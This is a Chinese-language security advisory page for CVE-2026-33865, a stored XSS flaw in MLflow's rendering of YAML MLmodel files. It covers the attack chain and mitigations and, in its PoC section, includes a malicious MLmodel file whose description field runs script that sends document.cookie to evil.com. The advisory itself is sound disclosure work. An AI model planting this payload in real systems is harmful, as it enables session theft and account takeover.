IPBUF安全漏洞报告
English
CVE-2026-33865 CVSS 5.4 中危

CVE-2026-33865 MLflow 存储型XSS漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-33865
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
MLflow

相关标签

XSSStored XSSMLflowCVE-2026-33865YAML InjectionMachine Learning Security

漏洞概述

MLflow在3.10.1及之前的版本中存在一个严重的存储型跨站脚本(XSS)漏洞。该漏洞的根本原因在于Web界面中对基于YAML的MLmodel工件解析时缺乏足够的安全过滤。已获得认证的攻击者能够上传精心构造的恶意MLmodel文件。一旦其他用户在Web界面中访问并查看该受感染的工件,其中嵌入的恶意JavaScript代码将自动执行。这使得攻击者能够窃取敏感信息、劫持用户会话,甚至冒充受害者执行未授权操作。

技术细节

该漏洞源于MLflow在处理模型元数据文件(MLmodel)时的不安全渲染机制。MLmodel文件通常采用YAML格式,包含模型的描述、参数和标签等信息。当用户上传模型后,Web UI会解析这些YAML内容并将其呈现在页面上。如果后端在解析YAML后未对特定字段(如description)进行严格的HTML实体编码,或者前端直接使用了`v-html`等不安全的渲染方式,攻击者便可以在YAML字段中注入JavaScript代码。由于这是存储型漏洞,恶意代码会持久化存储在服务器上。攻击者只需拥有低权限账号即可上传文件,诱导高权限用户(如管理员)查看页面,即可触发XSS攻击,进而窃取Session Token或执行管理员权限下的API操作。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册并登录MLflow平台,获得低权限用户账号。
STEP 2
2. 构造恶意文件
攻击者创建一个包含JavaScript攻击载荷的MLmodel YAML文件,将Payload插入到description等会被UI渲染的字段中。
STEP 3
3. 上传恶意工件
攻击者通过MLflow客户端或Web界面上传包含恶意MLmodel文件的模型实验数据。
STEP 4
4. 诱导访问
攻击者等待或诱导管理员及其他具有高权限的用户在Web界面中查看该模型详情。
STEP 5
5. 执行攻击载荷
当受害者查看页面时,浏览器解析恶意YAML中的脚本,攻击者代码执行,窃取Cookie或进行会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious MLmodel file content (YAML format) # Attacker injects payload into the 'description' field name: "Malicious_Model" description: > <img src=x onerror="alert('XSS'); fetch('https://evil.com/steal?c='+document.cookie);"> flavors: python_function: env: conda.yaml loader_module: mlflow.pyfunc.model

影响范围

MLflow <= 3.10.1

防御指南

临时缓解措施
建议立即升级MLflow到安全版本。若暂时无法升级,应严格限制用户上传模型的权限,仅允许可信用户上传,并提醒管理员不要轻易查看来源不明的模型详情页,同时部署WAF防护潜在的XSS攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表